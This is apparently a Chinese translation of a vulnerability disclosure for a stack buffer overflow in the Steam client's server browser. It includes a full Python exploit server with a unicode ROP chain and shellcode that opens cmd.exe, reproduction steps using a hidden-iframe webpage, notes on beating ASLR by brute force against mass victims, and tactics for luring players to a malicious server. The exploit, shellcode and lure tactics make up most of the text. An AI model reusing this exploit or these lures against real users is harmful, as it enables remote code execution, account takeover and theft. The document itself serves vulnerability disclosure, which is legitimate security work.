介绍
在Steam和其他V社游戏(比如CSGO,Half-Life,TF2)中,内置了一种寻找服务器浏览器(server browser,一种游戏服务器)的功能。为了获取有关这些服务器的信息,服务器浏览器使用一种称为服务器查询(server queries)的特定UDP协议进行通信(该协议的详情可以参考Steam在线开发手册)。我们实现了一个自定义的python服务器,它只使用文档中提供的信息回复协议。在成功实现协议之后,我们fuzz了几个参数,发现Steam客户端在从自定义服务器接收回复时崩溃了。具体是我们在A2S_PLAYER
响应中使用了一个过大的玩家名称来回复,导致客户端崩溃。通过attach调试器,我们发现是基于堆栈的缓冲区溢出导致了客户端的崩溃。显然存在问题,我们为此进一步深入研究来实现对缓冲区溢出的利用。我们定位到是serverbrowser
库中发生了溢出。在某些情况下玩家名称被转换为unicode,加之缺乏边界检查,使得溢出发生。同时,由于没有canary保护,使得我们能够覆盖返回地址并在Windows上执行任意代码。
利用细节
我们试着证明影响来创建漏洞。首先,我们在Linux上测试,通过覆盖返回地址直接控制执行流程。但是Linux下,我们只能控制EIP
寄存器的两个字节(例如0x00004141
),因此我们没有继续跟进下去。在OSX上,进程被SIGABRT
信号终止,这意味着OSX库中可能存在一个canary保护。在之后Windows端的尝试中(在Windows 8.1和10上测试),我们最终成功实现了利用。在Windows上,通过UDP发送玩家名称——A*1100
会形成以下堆栈布局:
0x00410041
0x00410041
...
原因是unicode转换(wide-char)(玩家名称可以使用unicode字符)。以unicode字符形式发送玩家名称——u"u4141"*1100
会形成以下布局:
0x41414141
0x41414141
...
我们在函数返回之前破坏了堆栈和寄存器,所以无法控制EIP
寄存器。程序在解引用edi
寄存器后崩溃了,但是我们还是取得了控制。我们是通过Steam.exe
二进制文件中的常量值来满足这些特殊条件的:
然后,我们构造了一个unicode ROP链(带有来自Steam.exe
的gadget),通过动态调用VirtualProtect
使得堆栈栈可执行,从而跳转到我们的unicode shellcode来执行cmd.exe
。这还是很有难度的,因为我们不能在ROP链中使用像0x00000040
这样的值,因为字符串会被中断。我们还不能使用像u"uda01"这样
无效的unicode字符,因为库会将它们替换成问号?
– 0x003F
。注意:所有内容都是使用Steam.exe
基址来计算的。重新启动Steam不会改变地址,除非重新启动Windows 8或Windows 10。如果在漏洞利用中编辑基址,漏洞成功率还是100%的。只是因为ASLR,我们没法提前知道受害者计算机中的基址(,所以没法保证成功率)。不过,我们还是有两种解决方案:
- 只随机化9位:成功利用概率可以达到0.2%(1/512)。如果是向所有Steam用户批量分发此漏洞,平均每512次尝试产生1名受害者,这点概率足够了。
- 这个漏洞也许能够与其他内存泄漏漏洞结合利用,从而使成功率达到100%。
复现步骤
首先,确保安装Steam。如果使用的是测试版,需要在漏洞利用代码中取消注释测试版代码——ROP gadgets for Steam.exe Beta Dec 14 2018
。
1 – 下载附件:steam_serverinfo_exploit.py(F395515)
2 – 使用像Immunity Debugger的调试器并attach到Steam.exe
3 – 获取Steam.exe
的基地址(View> Executable modules)并编辑STEAM_BASE
变量steam_serverinfo_exploit.py
以使漏洞利用100%成功
4 – 在服务器上运行漏洞利用(例如localhost):python steam_serverinfo_exploit.py
5 – 编辑
POC.html
,在iframe src
中并更改服务器的IP地址
6 – 在浏览器中打开它并等待cmd.exe
执行
7 – 也可以在菜单中打开服务器浏览器(View > Servers)并点击View server info
来触发漏洞(如果在同一网络下运行服务器,它将出现在LAN部分中)
PoC
Steamclient_POC_Windows10.mp4:包含在Windows 10上通过与Steam服务器浏览器手动交互触发漏洞的视频。视频见原文。SteamURL_POC_Windows10.mp4:包含在Windows 10上通过访问恶意网页(其中包含一个隐藏iframe)触发漏洞的视频。视频中,访问恶意页面时未运行Steam,(Steam)会在访问页面后自动启动。当然(这种利用方式)在Steam运行时也有效。视频见原文。POC.html(F395519)包含SteamURL_POC_Windows10.mp4视频中使用的html页面代码。
利用代码:
import logging
import socket
import textwrap
### Exploit for Server Info - Player Name buffer overflow (Steam.exe - Windows 8 and 10) #######
# More info: https://developer.valvesoftware.com/wiki/Server_queries
# Shellcode must contain valid unicode characters, pad with NOPs :)
STEAM_BASE = 0x01180000
# Shellcode: open cmd.exe
shellcode = "x31xc9x64x8bx41x30x8bx40x0cx8bx70x14xadx96xadx8bx58x10x8bx53x3cx01xdax90x8bx52x78x01xdax8bx72x20x90x01xdex31xc9x41xadx01xd8x81x38x47x65x74x50x75xf4x81x78x04x72x6fx63x41x75xebx81x78x08x64x64x72x65x75xe2x8bx72x24x90x01xdex66x8bx0cx4ex49x8bx72x1cx01xdex8bx14x8ex90x01xdax31xf6x89xd6x31xffx89xdfx31xc9x51x68x61x72x79x41x68x4cx69x62x72x68x4cx6fx61x64x54x53xffxd2x83xc4x0cx31xc9x68x65x73x73x42x88x4cx24x03x68x50x72x6fx63x68x45x78x69x74x54x57x31xffx89xc7xffxd6x83xc4x0cx31xc9x51x68x64x6cx6cx41x88x4cx24x03x68x6cx33x32x2ex68x73x68x65x6cx54x31xd2x89xfax89xc7xffxd2x83xc4x0bx31xc9x68x41x42x42x42x88x4cx24x01x68x63x75x74x65x68x6cx45x78x65x68x53x68x65x6cx54x50xffxd6x83xc4x0dx31xc9x68x65x78x65x41x88x4cx24x03x68x63x6dx64x2ex54x59x31xd2x42x52x31xd2x52x52x51x52x52xffxd0xffxd7"
def udp_server(host="0.0.0.0", port=27015):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
print("[*] Starting TSQuery UDP server on host: %s and port: %s" % (host, port))
s.bind((host, port))
while True:
(data, addr) = s.recvfrom(128*1024)
requestType = checkRequestType(data)
if requestType == "INFO":
response = createINFOReply()
elif requestType == "PLAYER":
response = createPLAYERReply()
print("[+] Payload sent!")
else:
response = 'nope'
s.sendto(response,addr)
yield data
def checkRequestType(data):
# Header byte contains the type of request
header = data[4]
if header == "x54":
print("[*] Received A2S_INFO request")
return "INFO"
elif header == "x55":
print("[*] Received A2S_PLAYER request")
return "PLAYER"
else:
print "Unknown request"
return "UNKNOWN"
def createINFOReply():
# A2S_INFO response
# Retrieves information about the server including, but not limited to: its name, the map currently being played, and the number of players.
pre = "xFFxFFxFFxFF" # Pre (4 bytes)
header = "x49" # Header (1 byte)
protocol = "x02" # Protocol version (1 byte)
name = "@Kernelpanic and [@0xacb](/0xacb) Server" + "x00" # Server name (string)
map_name = "de_dust2" + "x00" # Map name (string)
folder = "csgo" + "x00" # Name of the folder contianing the game files (string)
game = "Counter-Strike: Global Offensive" + "x00" # Game name (string)
ID = "xdax02" # Game ID (short)
players = "xFF" # Amount of players in the server (byte)
maxplayers = "xFF" # Max player allowed (byte)
bots = "x00" # Bots in game (byte)
server_type = "d" # Server type, d = dedicate (byte)
environment = "l" # Hosted on windows linux or mac, l is linux (byte)
visibility = "x00" # Password needed? (byte)
VAC = "x01" # VAC enabled? (byte)
version = "1.3.6.7.1x00"
return pre + header + protocol + name + map_name + folder + game + ID + players + maxplayers + bots + server_type + environment + visibility + VAC + version
def to_unicode(addr):
a = addr & 0xffff;
b = addr >> 16;
return eval('u"\u%s\u%s"' % (hex(a)[2:].zfill(4), hex(b)[2:].zfill(4)))
def convert_addr(gadget):
return to_unicode(STEAM_BASE + gadget - 0x400000)
def convert_shellcode(code):
code = code + "x90"*8 #pad with nops
output = ""
l = textwrap.wrap(code.encode("hex"), 2)
for i in range(0, len(l)-4, 4):
output += "\u%s%s\u%s%s" % (l[i+1], l[i], l[i+3], l[i+2])
return eval('u"%s"' % output)
def pwn():
print("[*] Building ROP chain")
# ROP gadgets for Steam.exe Nov 26 2018
pop_eax = convert_addr(0x503ca7)
pop_ecx = convert_addr(0x41bd9f)
pop_edx = convert_addr(0x413a53)
pop_ebx = convert_addr(0x40511c)
pop_ebp = convert_addr(0x40247c)
pop_esi = convert_addr(0x404de6)
pop_edi = convert_addr(0x423839)
jmp_esp = convert_addr(0x4413bd)
pushad = convert_addr(0x425e00)
ret_nop = convert_addr(0x401212)
mov_edx_eax = convert_addr(0x5599a6)
sub_eax_41e82c6a = convert_addr(0x51584f)
mov_ebx_ecx_mov_ecx_eax_mov_eax_esi_pop_esi_ret = convert_addr(0x4e24eb)
mov_esi_ptr_esi_mov_eax_esi_pop_esi = convert_addr(0x4506ea)
xchg_eax_esi = convert_addr(0x543b86)
writable_addr = convert_addr(0x69a01c)
virtual_protect_idata = convert_addr(0x5f9280)
new_protect = to_unicode(0x41e82c6a+0x40)
msize = to_unicode(0x41e82c6a+0x501)
'''
# ROP gadgets for Steam.exe Beta Dec 14 2018
pop_eax = convert_addr(0x425993)
pop_ecx = convert_addr(0x41bd9f)
pop_edx = convert_addr(0x413a53)
pop_ebx = convert_addr(0x40511c)
pop_ebp = convert_addr(0x40247c)
pop_esi = convert_addr(0x404de6)
pop_edi = convert_addr(0x423839)
jmp_esp = convert_addr(0x4413bd)
pushad = convert_addr(0x425e00)
ret_nop = convert_addr(0x401212)
mov_edx_eax = convert_addr(0x559d46)
sub_eax_31e82c6a = convert_addr(0x515bbf)
mov_ebx_ecx_mov_ecx_eax_mov_eax_esi_pop_esi_ret = convert_addr(0x4e284b)
mov_esi_ptr_esi_mov_eax_esi_pop_esi = convert_addr(0x4506ea)
xchg_eax_esi = convert_addr(0x515b5e)
writable_addr = convert_addr(0x69a01c)
virtual_protect_idata = convert_addr(0x5fa280)
new_protect = to_unicode(0x31e82c6a+0x40)
msize = to_unicode(0x31e82c6a+0x501)
'''
rop = pop_eax + msize + sub_eax_41e82c6a + mov_ebx_ecx_mov_ecx_eax_mov_eax_esi_pop_esi_ret
+ u"ub33fubeef" + mov_ebx_ecx_mov_ecx_eax_mov_eax_esi_pop_esi_ret + ret_nop*0x10
+ pop_ecx + writable_addr
+ pop_eax + new_protect + sub_eax_41e82c6a + mov_edx_eax
+ pop_ebp + jmp_esp + pop_esi + virtual_protect_idata
+ mov_esi_ptr_esi_mov_eax_esi_pop_esi + u"ub33fubeef" + xchg_eax_esi + pop_edi
+ ret_nop + pop_eax + u"u9090u9090" + pushad
#special conditions to avoid crashes
special_condition_1 = to_unicode(STEAM_BASE + 0x10)
special_condition_2 = to_unicode(STEAM_BASE + 0x11)
payload = "A"*1024 + u"ub33fubeef"*12 + special_condition_1 + special_condition_2*31 + rop + shellcode
return payload.encode("utf-8") + "x00"
def createPLAYERReply():
# A2S_player response
# This query retrieves information about the players currently on the server.
pre = "xFFxFFxFFxFF" # Pre (4 bytes)
header = "x44" # Header (1 byte)
players = "x01" # Amount of players (1 byte)
indexPlayer1 = "x01" # Index of player (1 byte)
namePlayer2 = pwn()
scorePlayer2 = ""
durationPlayer2 = ""
return pre + header + players + indexPlayer1 + namePlayer2 + scorePlayer2 + durationPlayer2
FORMAT_CONS = '%(asctime)s %(name)-12s %(levelname)8st%(message)s'
logging.basicConfig(level=logging.DEBUG, format=FORMAT_CONS)
if __name__ == "__main__":
shellcode = convert_shellcode(shellcode)
for data in udp_server():
pass
影响
任何Steam用户访问恶意服务器上Server Info,就能使攻击者在其计算机上执行任意代码。通常,攻击者可以通过启动与C2的后门连接来获取对受害者计算机的访问权限。这样一来,就可以为所欲为了(接管账户、窃取Steam帐户中的所有项目、在操作系统中安装其他恶意软件、泄露文档等等)有几种方法可以诱骗用户运行漏洞利用程序:
- 用户在Steam客户端服务器浏览器中查看服务器信息
- 用户访问启动Steam浏览器协议请求的恶意网页
steam://connect/1.2.3.4
此外,还有一些方法可以增加该攻击成功的可能性:
- 通过使用Steam浏览器协议的网站来触发。
- 许多用户不需要单击浏览器上的
Open Steam
按钮(勾选诸如“始终在关联应用程序中打开该类型链接”的选项) - 第一个Info Reply(不包含利用漏洞)可以通过包含一些有趣的值来欺骗用户。
- 可以选择服务器名称,从而欺骗用户使用该服务器。
- 通过设置当前玩家数量,吸引更多的人加入。
- 地图名称还可以设成有趣的文本来吸引人们。
- 如果服务器中的玩家数量等于服务器中允许的最大玩家数量,服务器信息框就会自动弹开。漏洞在弹开的信息框第一次自动刷新后就能利用成功。